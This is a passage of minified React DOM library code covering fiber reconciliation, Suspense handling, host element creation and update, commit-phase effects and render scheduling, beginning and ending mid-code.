a.getSnapshotBeforeUpdate&&(t.flags|=256)):("function"!=typeof a.componentDidUpdate||l===e.memoizedProps&&d===e.memoizedState||(t.flags|=4),"function"!=typeof a.getSnapshotBeforeUpdate||l===e.memoizedProps&&d===e.memoizedState||(t.flags|=256),t.memoizedProps=r,t.memoizedState=h),a.props=r,a.state=h,a.context=s,r=u):("function"!=typeof a.componentDidUpdate||l===e.memoizedProps&&d===e.memoizedState||(t.flags|=4),"function"!=typeof a.getSnapshotBeforeUpdate||l===e.memoizedProps&&d===e.memoizedState||(t.flags|=256),r=!1)}return Va(e,t,n,r,i,o)}function Va(e,t,n,r,o,i){Fa(e,t);var a=0!=(64&t.flags);if(!r&&!a)return o&&yo(t,n,!1),el(e,t,i);r=t.stateNode,Ma.current=t;var l=a&&"function"!=typeof n.getDerivedStateFromError?null:r.render();return t.flags|=1,null!==e&&a?(t.child=Si(t,e.child,null,i),t.child=Si(t,null,l,i)):ja(e,t,l,i),t.memoizedState=r.state,o&&yo(t,n,!0),t.child}function za(e){var t=e.stateNode;t.pendingContext?mo(0,t.pendingContext,t.pendingContext!==t.context):t.context&&mo(0,t.context,!1),ki(e,t.containerInfo)}var Ua,Ga,Wa,qa={dehydrated:null,retryLane:0};function Za(e,t,n){var r,o=t.pendingProps,i=ji.current,a=!1;return(r=0!=(64&t.flags))||(r=(null===e||null!==e.memoizedState)&&0!=(2&i)),r?(a=!0,t.flags&=-65):null!==e&&null===e.memoizedState||void 0===o.fallback||!0===o.unstable_avoidThisFallback||(i|=1),ao(ji,1&i),null===e?(void 0!==o.fallback&&Hi(t),e=o.children,i=o.fallback,a?(e=Ya(t,e,i,n),t.child.memoizedState={baseLanes:n},t.memoizedState=qa,e):"number"==typeof o.unstable_expectedLoadTime?(e=Ya(t,e,i,n),t.child.memoizedState={baseLanes:n},t.memoizedState=qa,t.lanes=33554432,e):((n=zs({mode:"visible",children:e},t.mode,n,null)).return=t,t.child=n)):(e.memoizedState,a?(o=Ka(e,t,o.children,o.fallback,n),a=t.child,i=e.child.memoizedState,a.memoizedState=null===i?{baseLanes:n}:{baseLanes:i.baseLanes|n},a.childLanes=e.childLanes&~n,t.memoizedState=qa,o):(n=$a(e,t,o.children,n),t.memoizedState=null,n))}function Ya(e,t,n,r){var o=e.mode,i=e.child;return t={mode:"hidden",children:t},0==(2&o)&&null!==i?(i.childLanes=0,i.pendingProps=t):i=zs(t,o,0,null),n=Vs(n,o,r,null),i.return=e,n.return=e,i.sibling=n,e.child=i,n}function $a(e,t,n,r){var o=e.child;return e=o.sibling,n=Bs(o,{mode:"visible",children:n}),0==(2&t.mode)&&(n.lanes=r),n.return=t,n.sibling=null,null!==e&&(e.nextEffect=null,e.flags=8,t.firstEffect=t.lastEffect=e),t.child=n}function Ka(e,t,n,r,o){var i=t.mode,a=e.child;e=a.sibling;var l={mode:"hidden",children:n};return 0==(2&i)&&t.child!==a?((n=t.child).childLanes=0,n.pendingProps=l,null!==(a=n.lastEffect)?(t.firstEffect=n.firstEffect,t.lastEffect=a,a.nextEffect=null):t.firstEffect=t.lastEffect=null):n=Bs(a,l),null!==e?r=Bs(e,r):(r=Vs(r,i,o,null)).flags|=2,r.return=t,n.return=t,n.sibling=r,t.child=n,r}function Xa(e,t){e.lanes|=t;var n=e.alternate;null!==n&&(n.lanes|=t),ei(e.return,t)}function Qa(e,t,n,r,o,i){var a=e.memoizedState;null===a?e.memoizedState={isBackwards:t,rendering:null,renderingStartTime:0,last:r,tail:n,tailMode:o,lastEffect:i}:(a.isBackwards=t,a.rendering=null,a.renderingStartTime=0,a.last=r,a.tail=n,a.tailMode=o,a.lastEffect=i)}function Ja(e,t,n){var r=t.pendingProps,o=r.revealOrder,i=r.tail;if(ja(e,t,r.children,n),0!=(2&(r=ji.current)))r=1&r|2,t.flags|=64;else{if(null!==e&&0!=(64&e.flags))e:for(e=t.child;null!==e;){if(13===e.tag)null!==e.memoizedState&&Xa(e,n);else if(19===e.tag)Xa(e,n);else if(null!==e.child){e.child.return=e,e=e.child;continue}if(e===t)break e;for(;null===e.sibling;){if(null===e.return||e.return===t)break e;e=e.return}e.sibling.return=e.return,e=e.sibling}r&=1}if(ao(ji,r),0==(2&t.mode))t.memoizedState=null;else switch(o){case"forwards":for(n=t.child,o=null;null!==n;)null!==(e=n.alternate)&&null===Li(e)&&(o=n),n=n.sibling;null===(n=o)?(o=t.child,t.child=null):(o=n.sibling,n.sibling=null),Qa(t,!1,o,n,i,t.lastEffect);break;case"backwards":for(n=null,o=t.child,t.child=null;null!==o;){if(null!==(e=o.alternate)&&null===Li(e)){t.child=o;break}e=o.sibling,o.sibling=n,n=o,o=e}Qa(t,!0,n,null,i,t.lastEffect);break;case"together":Qa(t,!1,null,null,void 0,t.lastEffect);break;default:t.memoizedState=null}return t.child}function el(e,t,n){if(null!==e&&(t.dependencies=e.dependencies),Ll|=t.lanes,0!=(n&t.childLanes)){if(null!==e&&t.child!==e.child)throw Error(a(153));if(null!==t.child){for(n=Bs(e=t.child,e.pendingProps),t.child=n,n.return=t;null!==e.sibling;)e=e.sibling,(n=n.sibling=Bs(e,e.pendingProps)).return=t;n.sibling=null}return t.child}return null}function tl(e,t){if(!Di)switch(e.tailMode){case"hidden":t=e.tail;for(var n=null;null!==t;)null!==t.alternate&&(n=t),t=t.sibling;null===n?e.tail=null:n.sibling=null;break;case"collapsed":n=e.tail;for(var r=null;null!==n;)null!==n.alternate&&(r=n),n=n.sibling;null===r?t||null===e.tail?e.tail=null:e.tail.sibling=null:r.sibling=null}}function nl(e,t,n){var r=t.pendingProps;switch(t.tag){case 2:case 16:case 15:case 0:case 11:case 7:case 8:case 12:case 9:case 14:return null;case 1:return po(t.type)&&ho(),null;case 3:return Pi(),io(uo),io(so),Wi(),(r=t.stateNode).pendingContext&&(r.context=r.pendingContext,r.pendingContext=null),null!==e&&null!==e.child||(zi(t)?t.flags|=4:r.hydrate||(t.flags|=256)),null;case 5:Ri(t);var i=Ti(_i.current);if(n=t.type,null!==e&&null!=t.stateNode)Ga(e,t,n,r),e.ref!==t.ref&&(t.flags|=128);else{if(!r){if(null===t.stateNode)throw Error(a(166));return null}if(e=Ti(Oi.current),zi(t)){r=t.stateNode,n=t.type;var l=t.memoizedProps;switch(r[Zr]=t,r[Yr]=l,n){case"dialog":Or("cancel",r),Or("close",r);break;case"iframe":case"object":case"embed":Or("load",r);break;case"video":case"audio":for(e=0;e<Er.length;e++)Or(Er[e],r);break;case"source":Or("error",r);break;case"img":case"image":case"link":Or("error",r),Or("load",r);break;case"details":Or("toggle",r);break;case"input":ee(r,l),Or("invalid",r);break;case"select":r._wrapperState={wasMultiple:!!l.multiple},Or("invalid",r);break;case"textarea":se(r,l),Or("invalid",r)}for(var u in Ce(n,l),e=null,l)l.hasOwnProperty(u)&&(i=l[u],"children"===u?"string"==typeof i?r.textContent!==i&&(e=["children",i]):"number"==typeof i&&r.textContent!==""+i&&(e=["children",""+i]):s.hasOwnProperty(u)&&null!=i&&"onScroll"===u&&Or("scroll",r));switch(n){case"input":K(r),re(r,l,!0);break;case"textarea":K(r),ce(r);break;case"select":case"option":break;default:"function"==typeof l.onClick&&(r.onclick=Ir)}r=e,t.updateQueue=r,null!==r&&(t.flags|=4)}else{switch(u=9===i.nodeType?i:i.ownerDocument,e===fe&&(e=pe(n)),e===fe?"script"===n?((e=u.createElement("div")).innerHTML="<script><\/script>",e=e.removeChild(e.firstChild)):"string"==typeof r.is?e=u.createElement(n,{is:r.is}):(e=u.createElement(n),"select"===n&&(u=e,r.multiple?u.multiple=!0:r.size&&(u.size=r.size))):e=u.createElementNS(e,n),e[Zr]=t,e[Yr]=r,Ua(e,t),t.stateNode=e,u=xe(n,r),n){case"dialog":Or("cancel",e),Or("close",e),i=r;break;case"iframe":case"object":case"embed":Or("load",e),i=r;break;case"video":case"audio":for(i=0;i<Er.length;i++)Or(Er[i],e);i=r;break;case"source":Or("error",e),i=r;break;case"img":case"image":case"link":Or("error",e),Or("load",e),i=r;break;case"details":Or("toggle",e),i=r;break;case"input":ee(e,r),i=J(e,r),Or("invalid",e);break;case"option":i=ie(e,r);break;case"select":e._wrapperState={wasMultiple:!!r.multiple},i=o({},r,{value:void 0}),Or("invalid",e);break;case"textarea":se(e,r),i=le(e,r),Or("invalid",e);break;default:i=r}Ce(n,i);var c=i;for(l in c)if(c.hasOwnProperty(l)){var f=c[l];"style"===l?Ee(e,f):"dangerouslySetInnerHTML"===l?null!=(f=f?f.__html:void 0)&&ge(e,f):"children"===l?"string"==typeof f?("textarea"!==n||""!==f)&&ve(e,f):"number"==typeof f&&ve(e,""+f):"suppressContentEditableWarning"!==l&&"suppressHydrationWarning"!==l&&"autoFocus"!==l&&(s.hasOwnProperty(l)?null!=f&&"onScroll"===l&&Or("scroll",e):null!=f&&w(e,l,f,u))}switch(n){case"input":K(e),re(e,r,!1);break;case"textarea":K(e),ce(e);break;case"option":null!=r.value&&e.setAttribute("value",""+Y(r.value));break;case"select":e.multiple=!!r.multiple,null!=(l=r.value)?ae(e,!!r.multiple,l,!1):null!=r.defaultValue&&ae(e,!!r.multiple,r.defaultValue,!0);break;default:"function"==typeof i.onClick&&(e.onclick=Ir)}Fr(n,r)&&(t.flags|=4)}null!==t.ref&&(t.flags|=128)}return null;case 6:if(e&&null!=t.stateNode)Wa(0,t,e.memoizedProps,r);else{if("string"!=typeof r&&null===t.stateNode)throw Error(a(166));n=Ti(_i.current),Ti(Oi.current),zi(t)?(r=t.stateNode,n=t.memoizedProps,r[Zr]=t,r.nodeValue!==n&&(t.flags|=4)):((r=(9===n.nodeType?n:n.ownerDocument).createTextNode(r))[Zr]=t,t.stateNode=r)}return null;case 13:return io(ji),r=t.memoizedState,0!=(64&t.flags)?(t.lanes=n,t):(r=null!==r,n=!1,null===e?void 0!==t.memoizedProps.fallback&&zi(t):n=null!==e.memoizedState,r&&!n&&0!=(2&t.mode)&&(null===e&&!0!==t.memoizedProps.unstable_avoidThisFallback||0!=(1&ji.current)?0===Ml&&(Ml=3):(0!==Ml&&3!==Ml||(Ml=4),null===Al||0==(134217727&Ll)&&0==(134217727&Il)||fs(Al,Tl))),(r||n)&&(t.flags|=4),null);case 4:return Pi(),null===e&&_r(t.stateNode.containerInfo),null;case 10:return Jo(t),null;case 17:return po(t.type)&&ho(),null;case 19:if(io(ji),null===(r=t.memoizedState))return null;if(l=0!=(64&t.flags),null===(u=r.rendering))if(l)tl(r,!1);else{if(0!==Ml||null!==e&&0!=(64&e.flags))for(e=t.child;null!==e;){if(null!==(u=Li(e))){for(t.flags|=64,tl(r,!1),null!==(l=u.updateQueue)&&(t.updateQueue=l,t.flags|=4),null===r.lastEffect&&(t.firstEffect=null),t.lastEffect=r.lastEffect,r=n,n=t.child;null!==n;)e=r,(l=n).flags&=2,l.nextEffect=null,l.firstEffect=null,l.lastEffect=null,null===(u=l.alternate)?(l.childLanes=0,l.lanes=e,l.child=null,l.memoizedProps=null,l.memoizedState=null,l.updateQueue=null,l.dependencies=null,l.stateNode=null):(l.childLanes=u.childLanes,l.lanes=u.lanes,l.child=u.child,l.memoizedProps=u.memoizedProps,l.memoizedState=u.memoizedState,l.updateQueue=u.updateQueue,l.type=u.type,e=u.dependencies,l.dependencies=null===e?null:{lanes:e.lanes,firstContext:e.firstContext}),n=n.sibling;return ao(ji,1&ji.current|2),t.child}e=e.sibling}null!==r.tail&&Bo()>Bl&&(t.flags|=64,l=!0,tl(r,!1),t.lanes=33554432)}else{if(!l)if(null!==(e=Li(u))){if(t.flags|=64,l=!0,null!==(n=e.updateQueue)&&(t.updateQueue=n,t.flags|=4),tl(r,!0),null===r.tail&&"hidden"===r.tailMode&&!u.alternate&&!Di)return null!==(t=t.lastEffect=r.lastEffect)&&(t.nextEffect=null),null}else 2*Bo()-r.renderingStartTime>Bl&&1073741824!==n&&(t.flags|=64,l=!0,tl(r,!1),t.lanes=33554432);r.isBackwards?(u.sibling=t.child,t.child=u):(null!==(n=r.last)?n.sibling=u:t.child=u,r.last=u)}return null!==r.tail?(n=r.tail,r.rendering=n,r.tail=n.sibling,r.lastEffect=t.lastEffect,r.renderingStartTime=Bo(),n.sibling=null,t=ji.current,ao(ji,l?1&t|2:1&t),n):null;case 23:case 24:return gs(),null!==e&&null!==e.memoizedState!=(null!==t.memoizedState)&&"unstable-defer-without-hiding"!==r.mode&&(t.flags|=4),null}throw Error(a(156,t.tag))}function rl(e){switch(e.tag){case 1:po(e.type)&&ho();var t=e.flags;return 4096&t?(e.flags=-4097&t|64,e):null;case 3:if(Pi(),io(uo),io(so),Wi(),0!=(64&(t=e.flags)))throw Error(a(285));return e.flags=-4097&t|64,e;case 5:return Ri(e),null;case 13:return io(ji),4096&(t=e.flags)?(e.flags=-4097&t|64,e):null;case 19:return io(ji),null;case 4:return Pi(),null;case 10:return Jo(e),null;case 23:case 24:return gs(),null;default:return null}}function ol(e,t){try{var n="",r=t;do{n+=q(r),r=r.return}while(r);var o=n}catch(e){o="\nError generating stack: "+e.message+"\n"+e.stack}return{value:e,source:t,stack:o}}function il(e,t){try{console.error(t.value)}catch(e){setTimeout((function(){throw e}))}}Ua=function(e,t){for(var n=t.child;null!==n;){if(5===n.tag||6===n.tag)e.appendChild(n.stateNode);else if(4!==n.tag&&null!==n.child){n.child.return=n,n=n.child;continue}if(n===t)break;for(;null===n.sibling;){if(null===n.return||n.return===t)return;n=n.return}n.sibling.return=n.return,n=n.sibling}},Ga=function(e,t,n,r){var i=e.memoizedProps;if(i!==r){e=t.stateNode,Ti(Oi.current);var a,l=null;switch(n){case"input":i=J(e,i),r=J(e,r),l=[];break;case"option":i=ie(e,i),r=ie(e,r),l=[];break;case"select":i=o({},i,{value:void 0}),r=o({},r,{value:void 0}),l=[];break;case"textarea":i=le(e,i),r=le(e,r),l=[];break;default:"function"!=typeof i.onClick&&"function"==typeof r.onClick&&(e.onclick=Ir)}for(f in Ce(n,r),n=null,i)if(!r.hasOwnProperty(f)&&i.hasOwnProperty(f)&&null!=i[f])if("style"===f){var u=i[f];for(a in u)u.hasOwnProperty(a)&&(n||(n={}),n[a]="")}else"dangerouslySetInnerHTML"!==f&&"children"!==f&&"suppressContentEditableWarning"!==f&&"suppressHydrationWarning"!==f&&"autoFocus"!==f&&(s.hasOwnProperty(f)?l||(l=[]):(l=l||[]).push(f,null));for(f in r){var c=r[f];if(u=null!=i?i[f]:void 0,r.hasOwnProperty(f)&&c!==u&&(null!=c||null!=u))if("style"===f)if(u){for(a in u)!u.hasOwnProperty(a)||c&&c.hasOwnProperty(a)||(n||(n={}),n[a]="");for(a in c)c.hasOwnProperty(a)&&u[a]!==c[a]&&(n||(n={}),n[a]=c[a])}else n||(l||(l=[]),l.push(f,n)),n=c;else"dangerouslySetInnerHTML"===f?(c=c?c.__html:void 0,u=u?u.__html:void 0,null!=c&&u!==c&&(l=l||[]).push(f,c)):"children"===f?"string"!=typeof c&&"number"!=typeof c||(l=l||[]).push(f,""+c):"suppressContentEditableWarning"!==f&&"suppressHydrationWarning"!==f&&(s.hasOwnProperty(f)?(null!=c&&"onScroll"===f&&Or("scroll",e),l||u===c||(l=[])):"object"==typeof c&&null!==c&&c.$$typeof===I?c.toString():(l=l||[]).push(f,c))}n&&(l=l||[]).push("style",n);var f=l;(t.updateQueue=f)&&(t.flags|=4)}},Wa=function(e,t,n,r){n!==r&&(t.flags|=4)};var al="function"==typeof WeakMap?WeakMap:Map;function ll(e,t,n){(n=ai(-1,n)).tag=3,n.payload={element:null};var r=t.value;return n.callback=function(){Ul||(Ul=!0,Gl=r),il(0,t)},n}function sl(e,t,n){(n=ai(-1,n)).tag=3;var r=e.type.getDerivedStateFromError;if("function"==typeof r){var o=t.value;n.payload=function(){return il(0,t),r(o)}}var i=e.stateNode;return null!==i&&"function"==typeof i.componentDidCatch&&(n.callback=function(){"function"!=typeof r&&(null===Wl?Wl=new Set([this]):Wl.add(this),il(0,t));var e=t.stack;this.componentDidCatch(t.value,{componentStack:null!==e?e:""})}),n}var ul="function"==typeof WeakSet?WeakSet:Set;function cl(e){var t=e.ref;if(null!==t)if("function"==typeof t)try{t(null)}catch(t){js(e,t)}else t.current=null}function fl(e,t){switch(t.tag){case 0:case 11:case 15:case 22:return;case 1:if(256&t.flags&&null!==e){var n=e.memoizedProps,r=e.memoizedState;t=(e=t.stateNode).getSnapshotBeforeUpdate(t.elementType===t.type?n:Zo(t.type,n),r),e.__reactInternalSnapshotBeforeUpdate=t}return;case 3:return void(256&t.flags&&zr(t.stateNode.containerInfo));case 5:case 6:case 4:case 17:return}throw Error(a(163))}function dl(e,t,n){switch(n.tag){case 0:case 11:case 15:case 22:if(null!==(t=null!==(t=n.updateQueue)?t.lastEffect:null)){e=t=t.next;do{if(3==(3&e.tag)){var r=e.create;e.destroy=r()}e=e.next}while(e!==t)}if(null!==(t=null!==(t=n.updateQueue)?t.lastEffect:null)){e=t=t.next;do{var o=e;r=o.next,0!=(4&(o=o.tag))&&0!=(1&o)&&(Ps(n,e),ks(n,e)),e=r}while(e!==t)}return;case 1:return e=n.stateNode,4&n.flags&&(null===t?e.componentDidMount():(r=n.elementType===n.type?t.memoizedProps:Zo(n.type,t.memoizedProps),e.componentDidUpdate(r,t.memoizedState,e.__reactInternalSnapshotBeforeUpdate))),void(null!==(t=n.updateQueue)&&ci(n,t,e));case 3:if(null!==(t=n.updateQueue)){if(e=null,null!==n.child)switch(n.child.tag){case 5:e=n.child.stateNode;break;case 1:e=n.child.stateNode}ci(n,t,e)}return;case 5:return e=n.stateNode,void(null===t&&4&n.flags&&Fr(n.type,n.memoizedProps)&&e.focus());case 6:case 4:case 12:return;case 13:return void(null===n.memoizedState&&(n=n.alternate,null!==n&&(n=n.memoizedState,null!==n&&(n=n.dehydrated,null!==n&&Et(n)))));case 19:case 17:case 20:case 21:case 23:case 24:return}throw Error(a(163))}function pl(e,t){for(var n=e;;){if(5===n.tag){var r=n.stateNode;if(t)"function"==typeof(r=r.style).setProperty?r.setProperty("display","none","important"):r.display="none";else{r=n.stateNode;var o=n.memoizedProps.style;o=null!=o&&o.hasOwnProperty("display")?o.display:null,r.style.display=we("display",o)}}else if(6===n.tag)n.stateNode.nodeValue=t?"":n.memoizedProps;else if((23!==n.tag&&24!==n.tag||null===n.memoizedState||n===e)&&null!==n.child){n.child.return=n,n=n.child;continue}if(n===e)break;for(;null===n.sibling;){if(null===n.return||n.return===e)return;n=n.return}n.sibling.return=n.return,n=n.sibling}}function hl(e,t){if(wo&&"function"==typeof wo.onCommitFiberUnmount)try{wo.onCommitFiberUnmount(bo,t)}catch(e){}switch(t.tag){case 0:case 11:case 14:case 15:case 22:if(null!==(e=t.updateQueue)&&null!==(e=e.lastEffect)){var n=e=e.next;do{var r=n,o=r.destroy;if(r=r.tag,void 0!==o)if(0!=(4&r))Ps(t,n);else{r=t;try{o()}catch(e){js(r,e)}}n=n.next}while(n!==e)}break;case 1:if(cl(t),"function"==typeof(e=t.stateNode).componentWillUnmount)try{e.props=t.memoizedProps,e.state=t.memoizedState,e.componentWillUnmount()}catch(e){js(t,e)}break;case 5:cl(t);break;case 4:yl(e,t)}}function ml(e){e.alternate=null,e.child=null,e.dependencies=null,e.firstEffect=null,e.lastEffect=null,e.memoizedProps=null,e.memoizedState=null,e.pendingProps=null,e.return=null,e.updateQueue=null}function gl(e){return 5===e.tag||3===e.tag||4===e.tag}function vl(e){e:{for(var t=e.return;null!==t;){if(gl(t))break e;t=t.return}throw Error(a(160))}var n=t;switch(t=n.stateNode,n.tag){case 5:var r=!1;break;case 3:case 4:t=t.containerInfo,r=!0;break;default:throw Error(a(161))}16&n.flags&&(ve(t,""),n.flags&=-17);e:t:for(n=e;;){for(;null===n.sibling;){if(null===n.return||gl(n.return)){n=null;break e}n=n.return}for(n.sibling.return=n.return,n=n.sibling;5!==n.tag&&6!==n.tag&&18!==n.tag;){if(2&n.flags)continue t;if(null===n.child||4===n.tag)continue t;n.child.return=n,n=n.child}if(!(2&n.flags)){n=n.stateNode;break e}}r?function e(t,n,r){var o=t.tag,i=5===o||6===o;if(i)t=i?t.stateNode:t.stateNode.instance,n?8===r.nodeType?r.parentNode.insertBefore(t,n):r.insertBefore(t,n):(8===r.nodeType?(n=r.parentNode).insertBefore(t,r):(n=r).appendChild(t),null!==(r=r._reactRootContainer)&&void 0!==r||null!==n.onclick||(n.onclick=Ir));else if(4!==o&&null!==(t=t.child))for(e(t,n,r),t=t.sibling;null!==t;)e(t,n,r),t=t.sibling}(e,n,t):function e(t,n,r){var o=t.tag,i=5===o||6===o;if(i)t=i?t.stateNode:t.stateNode.instance,n?r.insertBefore(t,n):r.appendChild(t);else if(4!==o&&null!==(t=t.child))for(e(t,n,r),t=t.sibling;null!==t;)e(t,n,r),t=t.sibling}(e,n,t)}function yl(e,t){for(var n,r,o=t,i=!1;;){if(!i){i=o.return;e:for(;;){if(null===i)throw Error(a(160));switch(n=i.stateNode,i.tag){case 5:r=!1;break e;case 3:case 4:n=n.containerInfo,r=!0;break e}i=i.return}i=!0}if(5===o.tag||6===o.tag){e:for(var l=e,s=o,u=s;;)if(hl(l,u),null!==u.child&&4!==u.tag)u.child.return=u,u=u.child;else{if(u===s)break e;for(;null===u.sibling;){if(null===u.return||u.return===s)break e;u=u.return}u.sibling.return=u.return,u=u.sibling}r?(l=n,s=o.stateNode,8===l.nodeType?l.parentNode.removeChild(s):l.removeChild(s)):n.removeChild(o.stateNode)}else if(4===o.tag){if(null!==o.child){n=o.stateNode.containerInfo,r=!0,o.child.return=o,o=o.child;continue}}else if(hl(e,o),null!==o.child){o.child.return=o,o=o.child;continue}if(o===t)break;for(;null===o.sibling;){if(null===o.return||o.return===t)return;4===(o=o.return).tag&&(i=!1)}o.sibling.return=o.return,o=o.sibling}}function bl(e,t){switch(t.tag){case 0:case 11:case 14:case 15:case 22:var n=t.updateQueue;if(null!==(n=null!==n?n.lastEffect:null)){var r=n=n.next;do{3==(3&r.tag)&&(e=r.destroy,r.destroy=void 0,void 0!==e&&e()),r=r.next}while(r!==n)}return;case 1:return;case 5:if(null!=(n=t.stateNode)){r=t.memoizedProps;var o=null!==e?e.memoizedProps:r;e=t.type;var i=t.updateQueue;if(t.updateQueue=null,null!==i){for(n[Yr]=r,"input"===e&&"radio"===r.type&&null!=r.name&&te(n,r),xe(e,o),t=xe(e,r),o=0;o<i.length;o+=2){var l=i[o],s=i[o+1];"style"===l?Ee(n,s):"dangerouslySetInnerHTML"===l?ge(n,s):"children"===l?ve(n,s):w(n,l,s,t)}switch(e){case"input":ne(n,r);break;case"textarea":ue(n,r);break;case"select":e=n._wrapperState.wasMultiple,n._wrapperState.wasMultiple=!!r.multiple,null!=(i=r.value)?ae(n,!!r.multiple,i,!1):e!==!!r.multiple&&(null!=r.defaultValue?ae(n,!!r.multiple,r.defaultValue,!0):ae(n,!!r.multiple,r.multiple?[]:"",!1))}}}return;case 6:if(null===t.stateNode)throw Error(a(162));return void(t.stateNode.nodeValue=t.memoizedProps);case 3:return void((n=t.stateNode).hydrate&&(n.hydrate=!1,Et(n.containerInfo)));case 12:return;case 13:return null!==t.memoizedState&&(Fl=Bo(),pl(t.child,!0)),void wl(t);case 19:return void wl(t);case 17:return;case 23:case 24:return void pl(t,null!==t.memoizedState)}throw Error(a(163))}function wl(e){var t=e.updateQueue;if(null!==t){e.updateQueue=null;var n=e.stateNode;null===n&&(n=e.stateNode=new ul),t.forEach((function(t){var r=Is.bind(null,e,t);n.has(t)||(n.add(t),t.then(r,r))}))}}function El(e,t){return null!==e&&(null===(e=e.memoizedState)||null!==e.dehydrated)&&(null!==(t=t.memoizedState)&&null===t.dehydrated)}var Sl=Math.ceil,Cl=E.ReactCurrentDispatcher,xl=E.ReactCurrentOwner,Ol=0,Al=null,_l=null,Tl=0,kl=0,Pl=oo(0),Ml=0,Rl=null,jl=0,Ll=0,Il=0,Nl=0,Dl=null,Fl=0,Bl=1/0;function Hl(){Bl=Bo()+500}var Vl,zl=null,Ul=!1,Gl=null,Wl=null,ql=!1,Zl=null,Yl=90,$l=[],Kl=[],Xl=null,Ql=0,Jl=null,es=-1,ts=0,ns=0,rs=null,os=!1;function is(){return 0!=(48&Ol)?Bo():-1!==es?es:es=Bo()}function as(e){if(0==(2&(e=e.mode)))return 1;if(0==(4&e))return 99===Ho()?1:2;if(0===ts&&(ts=jl),0!==qo.transition){0!==ns&&(ns=null!==Dl?Dl.pendingLanes:0),e=ts;var t=4186112&~ns;return 0===(t&=-t)&&(0===(t=(e=4186112&~e)&-e)&&(t=8192)),t}return e=Ho(),0!=(4&Ol)&&98===e?e=Bt(12,ts):e=Bt(e=function(e){switch(e){case 99:return 15;case 98:return 10;case 97:case 96:return 8;case 95:return 2;default:return 0}}(e),ts),e}function ls(e,t,n){if(50<Ql)throw Ql=0,Jl=null,Error(a(185));if(null===(e=ss(e,t)))return null;zt(e,t,n),e===Al&&(Il|=t,4===Ml&&fs(e,Tl));var r=Ho();1===t?0!=(8&Ol)&&0==(48&Ol)?ds(e):(us(e,n),0===Ol&&(Hl(),Go())):(0==(4&Ol)||98!==r&&99!==r||(null===Xl?Xl=new Set([e]):Xl.add(e)),us(e,n)),Dl=e}function ss(e,t){e.lanes|=t;var n=e.alternate;for(null!==n&&(n.lanes|=t),n=e,e=e.return;null!==e;)e.childLanes|=t,null!==(n=e.alternate)&&(n.childLanes|=t),n=e,e=e.return;return 3===n.tag?n.stateNode:null}function us(e,t){for(var n=e.callbackNode,r=e.suspendedLanes,o=e.pingedLanes,i=e.expirationTimes,l=e.pendingLanes;0<l;){var s=31-Ut(l),u=1<<s,c=i[s];if(-1===c){if(0==(u&r)||0!=(u&o)){c=t,Nt(u);var f=It;i[s]=10<=f?c+250:6<=f?c+5e3:-1}}else c<=t&&(e.expiredLanes|=u);l&=~u}if(r=Dt(e,e===Al?Tl:0),t=It,0===r)null!==n&&(n!==jo&&Co(n),e.callbackNode=null,e.callbackPriority=0);else{if(null!==n){if(e.callbackPriority===t)return;n!==jo&&Co(n)}15===t?(n=ds.bind(null,e),null===Io?(Io=[n],No=So(To,Wo)):Io.push(n),n=jo):14===t?n=Uo(99,ds.bind(null,e)):n=Uo(n=function(e){switch(e){case 15:case 14:return 99;case 13:case 12:case 11:case 10:return 98;case 9:case 8:case 7:case 6:case 4:case 5:return 97;case 3:case 2:case 1:return 95;case 0:return 90;default:throw Error(a(358,e))}}(t),cs.bind(null,e)),e.callbackPriority=t,e.callbackNode=n}}function cs(e){if(es=-1,ns=ts=0,0!=(48&Ol))throw Error(a(327));var t=e.callbackNode;if(Ts()&&e.callbackNode!==t)return null;var n=Dt(e,e===Al?Tl:0);if(0===n)return null;var r=n,o=Ol;Ol|=16;var i=bs();for(Al===e&&Tl===r||(Hl(),vs(e,r));;)try{Ss();break}catch(t){ys(e,t)}if(Qo(),Cl.current=i,Ol=o,null!==_l?r=0:(Al=null,Tl=0,r=Ml),0!=(jl&Il))vs(e,0);else if(0!==r){if(2===r&&(Ol|=64,e.hydrate&&(e.hydrate=!1,zr(e.containerInfo)),0!==(n=Ft(e))&&(r=ws(e,n))),1===r)throw t=Rl,vs(e,0),fs(e,n),us(e,Bo()),t;switch(e.finishedWork=e.current.alternate,e.finishedLanes=n,r){case 0:case 1:throw Error(a(345));case 2:Os(e);break;case 3:if(fs(e,n),(62914560&n)===n&&10<(r=Fl+500-Bo())){if(0!==Dt(e,0))break;if(((o=e.suspendedLanes)&n)!==n){is(),e.pingedLanes|=e.suspendedLanes&o;break}e.timeoutHandle=Hr(Os.bind(null,e),r);break}Os(e);break;case 4:if(fs(e,n),(4186112&n)===n)break;for(r=e.eventTimes,o=-1;0<n;){var l=31-Ut(n);i=1<<l,(l=r[l])>o&&(o=l),n&=~i}if(n=o,10<(n=(120>(n=Bo()-n)?120:480>n?480:1080>n?1080:1920>n?1920:3e3>n?3e3:4320>n?4320:1960*Sl(n/1960))-n)){e.timeoutHandle=Hr(Os.bind(null,e),n);break}Os(e);break;case 5:Os(e);break;default:throw Error(a(329))}}return us(e,Bo()),e.callbackNode===t?cs.bind(null,e):null}function fs(e,t){for(t&=~Nl,t&=~Il,e.suspendedLanes|=t,e.pingedLanes&=~t,e=e.expirationTimes;0<t;){var n=31-Ut(t),r=1<<n;e[n]=-1,t&=~r}}function ds(e){if(0!=(48&Ol))throw Error(a(327));if(Ts(),e===Al&&0!=(e.expiredLanes&Tl)){var t=Tl,n=ws(e,t);0!=(jl&Il)&&(n=ws(e,t=Dt(e,t)))}else n=ws(e,t=Dt(e,0));if(0!==e.tag&&2===n&&(Ol|=64,e.hydrate&&(e.hydrate=!1,zr(e.containerInfo)),0!==(t=Ft(e))&&(n=ws(e,t))),1===n)throw n=Rl,vs(e,0),fs(e,t),us(e,Bo()),n;return e.finishedWork=e.current.alternate,e.finishedLanes=t,Os(e),us(e,Bo()),null}function ps(e,t){var n=Ol;Ol|=1;try{return e(t)}finally{0===(Ol=n)&&(Hl(),Go())}}function hs(e,t){var n=Ol;Ol&=-2,Ol|=8;try{return e(t)}finally{0===(Ol=n)&&(Hl(),Go())}}function ms(e,t){ao(Pl,kl),kl|=t,jl|=t}function gs(){kl=Pl.current,io(Pl)}function vs(e,t){e.finishedWork=null,e.finishedLanes=0;var n=e.timeoutHandle;if(-1!==n&&(e.timeoutHandle=-1,Vr(n)),null!==_l)for(n=_l.return;null!==n;){var r=n;switch(r.tag){case 1:null!=(r=r.type.childContextTypes)&&ho();break;case 3:Pi(),io(uo),io(so),Wi();break;case 5:Ri(r);break;case 4:Pi();break;case 13:case 19:io(ji);break;case 10:Jo(r);break;case 23:case 